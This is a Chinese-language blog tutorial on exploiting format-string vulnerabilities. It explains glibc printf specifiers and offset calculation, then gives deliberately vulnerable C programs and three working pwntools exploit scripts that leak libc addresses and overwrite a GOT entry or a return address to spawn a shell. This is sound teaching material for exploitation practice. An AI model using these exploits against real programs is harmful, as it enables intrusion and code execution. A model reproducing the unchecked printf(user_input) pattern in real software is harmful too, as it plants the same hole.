格式化字符串

本文最后更新于:2024年6月26日 中午

利用程序直接对用户可控制的数据格式化,让用户可以利用格式化字符串达到任意地址读写
因为格式化字符串的参数在栈中,所以尽管无法写,也可以从栈中获取些有用的信息

格式化详解

printf实际执行的是位于stdio-common/vfprintf-internal.c文件中的vfprintf函数
vfprintf中会按照占位符的顺序输出字符串,但如果占位符中存在$就会执行printf_positional函数
printf_positional函数中会先将 字符串 中所有占位符都搜索出来,储存在数组中,然后遍历数组根据占位符类型输出字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/* 在格式化字符串时会用到6个这样的表,用来防止存在歧义 */
/* Step 0: at the beginning. */
static JUMP_TABLE_TYPE step0_jumps[30] =
{ // 在下面,如果不存在对应类型的参数,则将剩下的参数中的第一个,强制转换为对应参数
// 说是参数,实际上是栈中的值 在64位中,前六个参数使用寄存器
REF (form_unknown),
REF (flag_space), /* for ' ' 使用空格作为填充 默认也是空格*/
REF (flag_plus), /* for '+' 在正数前面添加 '+' */
REF (flag_minus), /* for '-' 右对齐*/
REF (flag_hash), /* for '<hash>' # 使用#号触发 与x 组合表示使用 0x??的格式 与 X组合表示使用 0X??的格式
与g/G 组合表示用0填充小数位*/
REF (flag_zero), /* for '0' 使用0作为填充仅在左对齐时有效*/
REF (flag_quote), /* for '\'' 暂时不知道用处*/
REF (width_asterics), /* for '*' 从printf后面的参数中获取整数类型参数作为输出宽度 宽度不能大于2147483647*/
REF (width), /* for '1'...'9' 这一条没有明确代码,但与 width_asterics 在一起执行,将字符串转换为整数 宽度不能大于2147483647
当数字后面是 $ 字符时,将数字作为偏移 */
REF (precision), /* for '.' 在搜索到 . 之后,如果后面的字符为 * 则将printf 中未使用过的参数中的整数作为小数长度位
如果后面的字符为数字,就将数字作为小数位长度*/
REF (mod_half), /* for 'h' 将数据当作 二字节数据处理 ,但如果两个h连在一起 则将数据作为 一字节数据处理*/
REF (mod_long), /* for 'l' 将数据作为 四字节数据处理*/
REF (mod_longlong), /* for 'L', 'q' 将数据作为 八字节数据处理*/
REF (mod_size_t), /* for 'z', 'Z' 通过 size_t 判断 将数据作为 四字节 还是 八字节处理*/
REF (form_percent), /* for '%' 输出 %*/
REF (form_integer), /* for 'd', 'i' 将数据以十进制有符号整型的方式输出*/
REF (form_unsigned), /* for 'u' 将数据以十进制无符号整型的方式输出*/
REF (form_octal), /* for 'o' 将数据以八进制无符号整型的方式输出*/
REF (form_hexa), /* for 'X', 'x' 将数据以十六进制无符号整型的方式输出
使用X表示以大写十六进制输出
使用x表示以小写十六进制输出*/
REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' e/E 表示以指数的形式输出小数,区别为输出时e的大小写
f/F 表示以普通小数的形式输出小数,区别在于 当小数为无限小数或小数位过长时,输出的 inf,infinity,nan的大小写
g/G 按数值大小自动区分使用e或f 区别也是大小写*/
REF (form_character), /* for 'c' 将参数中剩下的第一个整数作为字符输出*/
REF (form_string), /* for 's', 'S' 将printf参数中第一个参数,作为字符指针,输出指向的字符串*/
REF (form_pointer), /* for 'p' 将printf参数中第一个指针 使用 %#x 的形式输出 当指针不存在时 使用整数*/
REF (form_number), /* for 'n' 将当前输出的长度,写入到printf参数中剩下的第一个参数指向的位置*/
REF (form_strerror), /* for 'm' 按照当前错误信息输出错误,当没有错误时输出 Success*/
REF (form_wcharacter), /* for 'C' 将printf参数中剩下的第一个 wchar_t 类型的参数,输出*/
REF (form_floathex), /* for 'A', 'a' 按照十六进制的形式输出小数*/
REF (mod_ptrdiff_t), /* for 't' 通过 ptrdiff_t 判断 将数据作为 四字节 还是 八字节处理*/
REF (mod_intmax_t), /* for 'j' 通过 intmax_t 判断 将数据作为 四字节 还是 八字节处理*/
REF (flag_i18n), /* for 'I' 暂时不知道用处*/
};

static inline int
done_add_func (size_t length, int done)
{
if (done < 0)
return done;
int ret;
if (INT_ADD_WRAPV (done, length, &ret))
{
__set_errno (EOVERFLOW);
return -1;
}
return ret;
} //在使用%<number>? 结束时会调用这个函数,如果总的输出量超过了0x7fffffff
// 会导致输出结束
数据宽度作用
h将数据作为short类型处理
hh将数据作为char类型处理
l将数据作为long类型处理
q/L将数据作为long long类型处理
z/Z通过size_t判断,将数据作为long类型处理还是以long long类型处理
标志作用
space使用空格作为填充符号
+在正数的前面添加+ 输入时输入+ 可以省略一个值的输入
-右对齐(默认左对齐) 输入时输入- 可以省略一个值的输入
#x/X组合表示以0x???的形式输出,与g/G组合表示不省略小数结尾的0
0表示使用0作为填充符号(仅右对齐时有效)
*将参数中最前面的整数作为输出数据的最小长度 (最大为2147483647)
0~9将字符串转换后的整数作为输出数据的最小长度 代码中使用int类型储存数值,所以最大为2147483647这表示在64位程序中无法一次性修改8字节
$通过$前的数字获取参数的索引值,用于指定占位符处理的数据
..数字 用来指定浮点数精度 或 字符串输出的最大长度
类型作用
x将无符号整型以全小写十六进制的形式输入输出
X将无符号整型以全大写十六进制的形式输入输出
o将无符号整型以八进制的形式输入输出
u将无符号整型以十进制的形式输入输出
d将有符号整型以十进制的形式输入输出
i输入输出有符号整型(将开头为0的数字识别为八进制,将开头为0x的数字识别为十六进制)
f以定点数表示法输出浮点数 (当浮点数 为 无限浮点数时输出inf,当 浮点数 无法作为数字处理时输出nan)
F以定点数表示法输出浮点数 (当浮点数 为 无限浮点数时输出INF,当 浮点数 无法作为数字处理时输出NAN)
e以指数表示法输出浮点数 (当浮点数 为 无限浮点数时输出inf,当 浮点数 无法作为数字处理时输出nan)
E以指数表示法全大写输出浮点数 (当浮点数 为 无限浮点数时输出INF,当 浮点数 无法作为数字处理时输出NAN)
g自动选择使用定点数或指数输出浮点数(效果为fe的结合体)
G自动选择使用定点数或指数输出浮点数(效果为FE的结合体)
a以十六进制的形式全小写输出浮点数(当小数为无限小数时输出inf,当小数无法作为数字处理时输出nan)
A以十六进制的形式全大写输出浮点数(当小数为无限小数时输出INF,当小数无法作为数字处理时输出NAN)
s输出指定地址中的数据 (以\x00截断) 输入时以空格\n为截断
S输出指定地址中的数据 (以\x00或无法识别的数值截断),输入时以空格\n为截断,每四字节为一个字符输入输出
p以十六进制的形式输出 地址/整数 (当 地址/整数为 0 时输出 (nil) )
c以字符的形式输入输出数据
n将已经输出的数据长度 写入指定地址
=================================================================================

使用 f/F/e/E/g/G 输入 都可以识别 定点数表示法 和 指数表示法

计算偏移
-> x86_64
—> 通过 (需要使用的地址-调用printf时的rsp)/8+6 获得
—> 因为printf参数中除第一个为需要格式化的字符串,其他都是参数,
—> 如果要获取rsi,rdx,rcx,r8,r9寄存器的值就使用 0 < s < 6 的偏移
-> x86
—> 通过 (需要使用的地址-调用printf时的esp)/4 获得

通过n进行任意写,通过s进行任意地址读,通过p获取栈中的数据

栈中格式化字符串

在栈中的格式化字符串比较简单,因为可以通过字符串中的地址,达到任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* 示例代码 */
#include<stdio.h>
#include<stdlib.h>
int main(){
char a[0x100]="";
do{
scanf("%s",a);
if (!strncmp(a,"exit",4)){
exit(0);
}
printf(a);
printf("\n");
}while(1);
}
/* 编译命令
gcc pwn_format.c -no-pie -o pwn_format
*/

main函数
main函数栈布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
"""exp思路
因为 main 函数是由 __libc_start_main 函数调用,
那么在栈中就一定存在 __libc_start_main 函数的地址,
通过获取 __libc_start_main 函数的地址可以获取到 libc的基地址 ,
然后通过基地址获取 system 函数的地址,
再设置程序 got表 中 printf 项的值为 system 函数地址,
这样每次在执行 printf 函数时就会执行 system 函数
"""

""" %41$p 计算过程
去除寄存器占用的 5 个参数,
那么字符串开头的偏移为 %6$p,
因为main函数的栈占用 0x110 字节,
再加上 push rbp ,所占用的 8 字节,
格式化的字符串开头到 __libc_start_main 之间 0x118 字节的数据,
所以 __libc_start_main 函数地址的偏移就为 0x118/8+6=41
"""

from pwn import *
e=ELF('./pwn_format',checksec=False)
libc=ELF('./libc-2.33.so',checksec=False)
p=process('./pwn_format')
printf_got=e.got['printf']
print(hex(printf_got))
p.sendline('%41$p')
libc.address=int(p.read(),16)-libc.sym['__libc_start_main']-213
print(hex(libc.address))
system=libc.sym['system']
data=p64(system)
fs={}
n=[0,1,2,3,4,5,6,7]
i=7
while i>-1:
fs[i]=ord(data[i])
payload=b'a'*0x60+b'a'*8*i+p64(printf_got+i)[:-1]
p.sendline(payload)
i=i-1
"""
构造栈,使栈中存有 printf.got~printf.got+7 这八个地址
"""
n.sort(key=lambda d:fs[d])
payload=''
i=0
while i<8:
if fs[n[i]]==0:
payload+='%'+str(18+n[i])+'$hhn'
else:
if fs[n[i]]-fs[n[i-1]]==0:
payload+='%'+str(18+n[i])+'$hhn'
else:
payload+='%'+str(fs[n[i]]-fs[n[i-1]])+'c%'+str(18+n[i])+'$hhn'
i=i+1
"""
这里是按照 system函数地址中每个字节所表示的数值,从小到大排列,防止修改时互相干扰
一般格式化字符串修改的数据宽度尽量要小,
因为数据宽度越大,表示在此之前输出的长度越长,
可能会导致将payload发送到靶机之后,
本地窗口一直在获取靶机中输出的内容,
这种情况非常浪费时间
"""
p.sendline(payload)
p.interactive()

非栈中格式化字符串

堆中的格式化字符串比较麻烦
需要的条件为栈中存在 a 指向 b ,且b只有低四字节与a不同,
这时可以通过a修改b,然后利用b,在栈中创建一个指向某个区域的地址,
以此来达到任意地址读写

一般存在两次函数调用操作时可以达到条件如 函数a调用函数b;函数b调用函数c
但 __libc_start_main 调用main,main调用某个函数除外,
因为__libc_start_main到main函数时储存在栈中的rbp/ebp为0,无法组成链表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 样例代码 */
#include<stdio.h>
#include<stdlib.h>
int vuln(char *b){
scanf("%40s",b);
if (!strncmp(b,"exit",4)){
return 1;
}
printf(b);
printf("nonono\n");
return 0;
}
int func(){
char *b=(char*)malloc(0x40);;
do{
if (vuln(b)==1){
break;
}
}while(1);
}
int main(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,1,0);
setvbuf(stderr,0,2,0);
char a[0x20]="";
printf("input username:");
scanf("%20s",a);
printf(a);
printf("'s password:");
func();
}

main函数代码

main函数栈布局

func函数代码

func函数栈布局

vuln函数代码

泄露栈中数据
先通过多个 %p 泄露栈中的数据,用来查找可以利用的地址

这个样例符合条件,其中main函数调用func函数,func函数调用vuln函数
这样在栈中 至少保存了main函数的rbpfunc函数的rbp
func函数的rbp指向的地址储存的是main函数的rbp的值
刚好形成一个链表

在这个样例中,因为可以利用栈达到任意地址读写,做法也就多种多样了
这里演示了控制返回地址为gadget获取shell,还可以通过设置got表调用system函数

第一种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
"""exp思路
因为是在栈中,可以控制函数的返回地址
这个攻击代码中,设置main函数返回地址为 libc中调用execve("/bin/sh")的代码地址
还要把储存__libc_start_main函数rbp指针的位置写入新的rbp
而且这个rbp一定要大于 rsp且处于可写地址,否则会导致程序报错中断
"""
from pwn import *
for gadget in [0xde78c,0xde78f,0xde792]:
libc=ELF('./libc-2.33.so',checksec=False)
e=ELF('./pwn_format',checksec=False)
p=process('./pwn_format')
libc_ind=13
p.read()
p.sendline('%'+str(libc_ind)+'$p')
c=int(p.readuntil('\'s',drop=1),16)
print(hex(c))

libc.address=c-213-libc.sym['__libc_start_main']
sind=8
eind=12
p.readuntil('password:')
p.sendline('%{}$p.%{}$p'.format(sind,eind))
data=p.read()[:-7].split('.')
s1=int(data[0],16)
s2=int(data[1],16)
print(hex(s1),hex(s2))

ori=s2&0xff
ret=ori
one_gadget=p64(libc.address+gadget)
data=p64(s1+0x200)+one_gadget
print(hex(libc.address+gadget))
i=0
while i<16:
payload='%{}c%{}$hhn'.format(ret+i,sind)
p.sendline(payload)
if ord(data[i])==0:
payload='%{}$hhn'.format(eind)

else:
payload='%{}c%{}$hhn'.format(ord(data[i]),eind)
p.sendline(payload)
i=i+1
payload='%{}c%{}$hhn'.format(ori,sind)
p.sendline(payload)
p.interactive()

第二种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
"""exp思路
因为 printf 函数与 system 函数属于同一个 libc,所以两个函数的真实地址也相近,
想要将printf改成system 函数,只需要修改低两个字节,
所以我们将 printf.got 与 printf.got+2 写入栈中
然后再 将 printf.got 中储存的低四字节替换为 system函数地址 的低四字节
"""
from pwn import *
libc=ELF('./libc-2.33.so',checksec=False)
e=ELF('./pwn_format',checksec=False)
p=process('./pwn_format')
libc_ind=13
p.read()
p.sendline('%'+str(libc_ind)+'$p')
c=int(p.readuntil('\'s',drop=1),16)
print(hex(c))

libc.address=c-213-libc.sym['__libc_start_main']
printf_got=e.got['printf']
system=libc.sym['system']
sind=8
eind=12
p.readuntil('password:')
p.sendline('%{}$p.%{}$p'.format(sind,eind))
data=p.read()[:-7].split('.')
s1=int(data[0],16)
s2=int(data[1],16)
print(hex(s1),hex(s2))

ori=s2&0xff
ret=ori
data=p64(printf_got)+p64(printf_got+2)
i=0
while i<16:
payload='%{}c%{}$hhn'.format(ret+i,sind)
p.sendline(payload)
if ord(data[i])==0:
payload='%{}$hhn'.format(eind)
else:
payload='%{}c%{}$hhn'.format(ord(data[i]),eind)
p.sendline(payload)
i=i+1
payload='%{}c%{}$hhn'.format(ori,sind)
p.sendline(payload)

e={0:system&0xffff,1:((system&0xffff0000)>>16)}
n=[0,1]
n.sort(key=lambda d:e[d])

payload='%{}c%{}$hn%{}c%{}$hn'.format(e[n[0]],20+n[0],e[n[1]]-e[n[0]],20+n[1])
print(payload)
p.sendline(payload)

p.interactive()

格式化字符串
https://rot-will.github.io/page/格式化字符串/
作者
rot_will
发布于
2022年1月23日
更新于
2024年6月26日
许可协议